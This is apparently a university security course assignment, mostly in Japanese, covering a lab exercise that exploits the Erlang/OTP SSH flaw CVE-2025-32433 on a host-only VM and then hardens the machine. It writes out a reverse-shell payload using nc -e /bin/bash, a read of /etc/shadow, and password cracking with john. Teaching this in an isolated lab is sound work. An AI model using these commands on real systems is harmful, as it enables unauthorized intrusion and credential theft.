情報セキュリティ基礎 — 2026年春学期プロジェクト

合計点数: 20 | 提出期限: 遅延提出は受け付けません

概要

このプロジェクトは、2台の仮想マシンにわたる実際の攻撃防御シナリオをシミュレートします。Erlang/OTP SSHサーバーにおける重大な事前認証RCE脆弱性(CVE-2025-32433)を悪用し、抽出したパスワードハッシュをクラックし、その後、ファイアウォールルールとパッチ適用で被害マシンを強化します。

ファイル

リソース

• 被害者VM (Debian-1.ova): ダウンロードリンク — GitHubでホストするには大きすぎる(~3GB)。以下に説明するように個別にダウンロードしてVirtualBox/VMwareにインポートしてください。
• ワードリスト (rockyou_txt.txt): このリポジトリに含まれており、Part 2のパスワードクラッキングステップで使用します。

セットアップ

1. VMのインポート — Debian-1.ova と自身のKali Linux VMをVirtualBox/VMwareに読み込みます。
2. ネットワーク — 両方のVMをホストオンリーアダプターに設定し、プライベートに通信できるようにします。
3. 被害者IP — 被害者を起動し、ifconfig を実行してIPを確認します(通常は 192.168.56.0/24 内)。

パート1 — 脆弱なSSHサーバーの展開と悪用 (10点)

偵察

nmap -p 2222 -sV -A <victim-IP>

Document open ports, service versions, and Erlang signatures.

CVE-2025-32433の悪用 (事前認証RCE)

一時的にKaliをNATに切り替えてリポジトリをクローンし、その後ホストオンリーに戻します。

git clone https://github.com/ProDefense/CVE-2025-32433.git
cd CVE-2025-32433
sudo nano CVE-2025-32433.py

Edit the script — set HOST = "<victim-IP>" and update the payload:

command='os:cmd("nc -e /bin/bash <Kali-IP> 4444").'

Terminal 1 (Kali) — start listener:

nc -lvnp 4444

Terminal 2 (Kali) — launch exploit:

python3 CVE-2025-32433.py

In the reverse shell, run whoami and hostname to confirm access.

パート2 — 事後悪用とパスワードクラッキング (5点)

ハッシュの抽出とクラック

# On victim (via reverse shell)
cat /etc/shadow | grep testuser > hash.txt

# On Kali
john --wordlist=rockyou_txt.txt hash.txt

ハッシュ形式(例: $6$ = SHA-512)、所要時間、および復元された平文パスワードを記録します。

フラグの検索

find / -iname "flag.txt" 2>/dev/null
cat /path/to/flag.txt

パート3 — 対策と修復 (5点)

攻撃ベクトルのブロック (iptables)

sudo iptables -A INPUT -p tcp --dport 2222 -j DROP

KaliからNmapスキャンとエクスプロイトを再実行し、ポート2222が"Filtered"になりエクスプロイトが失敗することを記録します。

脆弱性のパッチ適用

CVE-2025-32433の修正を含むErlang/OTPをv27.3.3以降にアップグレードする手順を記録します。

成果物

• スキャン、エクスプロイト実行、リバースシェル(whoami/hostname)、フラグ取得のスクリーンショットを含む完全なレポート
• ファイアウォールの前後のドキュメント(ポート状態の変更を示すNmap結果)
• 事前認証RCEが認証後エクスプロイトよりもはるかに危険である理由を説明する文書による考察

CVE参照

CVE-2025-32433 — Erlang/OTP SSHサーバーにおける重大な事前認証リモートコード実行。認証情報交換前に不正なSSHパケットを送信することで悪用可能であり、認証されていない攻撃者に完全なシェルアクセスを許します。